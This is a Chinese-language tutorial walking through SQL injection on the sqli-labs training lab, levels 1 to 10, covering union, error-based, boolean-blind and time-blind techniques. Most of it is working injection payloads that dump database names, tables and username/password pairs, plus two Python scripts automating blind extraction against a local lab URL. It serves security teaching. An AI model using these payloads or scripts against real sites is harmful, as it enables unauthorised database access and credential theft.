一.SQL注入原理:服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作 sql语句执行,用户获取敏感信息,从而影响数据库安全和平台安全;通常在用户和系统交互的地方,有可能触发sql注入
二.常见的SQL注入类型:
1.union联合注入
2.函数报错注入
3.盲注
三.SQL注入流程
1.判断SQL注入点
传参一般分为大类:
(1)Get
参数触发SQL
注入(2)POST
参数触发SQL
注入
最常规最简单的方法:引入单引号判断
2.判断注入类型
(1)数字型
id=1 and 1=1
返回成功
id=1 and 1=2
返回失败
(2)字符型
id=1'页面返回错误
id=1'and '1'='1运行正常
id=1'and '1'='2运行异常
3.确定注入后手工输入判断列数
判断列数的目的是我们需要通过SQL注入的回显获得信息,回显几列我们需要考虑
?id=1‘order by 3 --+
?id=1‘order by 4 --+
--+是一个注释语句,把后面的内容给注释掉,只执行前面通过插入单引号所形成闭环内的语句。
4.判断列数后,我们开始使用union语句查回显位
http://sqli-labs:81/Less-1/?id=1' and 1=2 union select 1,2,3 --+
执行后,如图可判断回显位在2和3,我们就可以开始在回显位执行mysql函数了。
1.union联合注入
基本知识:
column name:列的名称
Information schema.columns:表示所有的列的信息
Information schema:表示所有信息,包括库、表、列
Information schema.tables:表示所有的表的信息
table schema:数据库的名称
table name:表的名称
less1
(1)查库名
http://sqli-labs:81/Less-1/?id=1' and 1=2 union select 1,2,database() --+
查询当前数据库名
?id=1' and 1=2 union select 1,(select group_concat(schema_name)from
information_schema.schemata),database() --+ 查询所有的库名
group_concat函数的作用就是把字符串拼接起来回显
(2)查表名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),database() --+
(3)查字段
?id=-1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name="users" ),database() --+
(4)查信息
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),database() from security.users --+
less2
?id=-1'报错判断是数字型
然后和之前一样判断列数、 查回显、爆库名、爆列名、爆字段、查看数据
less3
?id=1‘)判断报错
发现其闭合方式是’)闭合
然后跟之前一样
判断列数、 查回显、爆库名、爆列名、爆字段、查看数据
less4
输入?id=1“)后报错 发现是”)闭合
然后跟之前一样
判断列数、 查回显、爆库名、爆列名、爆字段、查看数据
2.函数报错注入
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
less5
判断是否存在注入
?id=1
判断列数
查回显时发现无论怎么进行查询,结果都会显示You are in .........
?id=1' and 1=2 union select 1,2,3, --+
但当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and 1=2 union select 1,2,3,4 --+
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入
查表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),0x7e))--+
查字段、
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users" ),0x7e))--+
爆信息
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e))--+
less6
“闭合 与第五关步骤一样,不过需要采用双引号闭合
less7
需采用双括号闭合
判断字段列数
布尔盲注 查当前数据库名
判断数据库名长度,长度等于8没有报错,所以长度为8
注库名
?id=1')) and ascii(substr(database(),1,1))>114--+
由此可以判断出第一位ascii码为115,字母s
?id=1')) and ascii(substr(database(),2,1))>100--+
由此可以判断出第二位ascii码为101,字母e
以此类推得到数据库名字"security"
查出网站的数据库里面的目标表名
将116修改为117,发现报错,说明第一位ascii码为117,字母为u
依次查询剩余几位
得出目标表名为"users"
查出users表里面的第一列
and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
得知ascii码等于105,字母i
查询下一位可知,为字母d
字段第一列为“id”
less8
也是使用布尔盲注
但手工盲注太麻烦,可以使用python脚本
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
less9 时间盲注
手工注入
?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时
注入出了数据库的第一个字符是ASCII的值为115,对应的是‘s’,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
使用脚本:二分法查找的时间盲注脚本
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-9/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
params = {"id": payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url, params=params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
less10
使用第9关的时间盲注就可以注入成功只是需要将闭合的 ' 修改为 "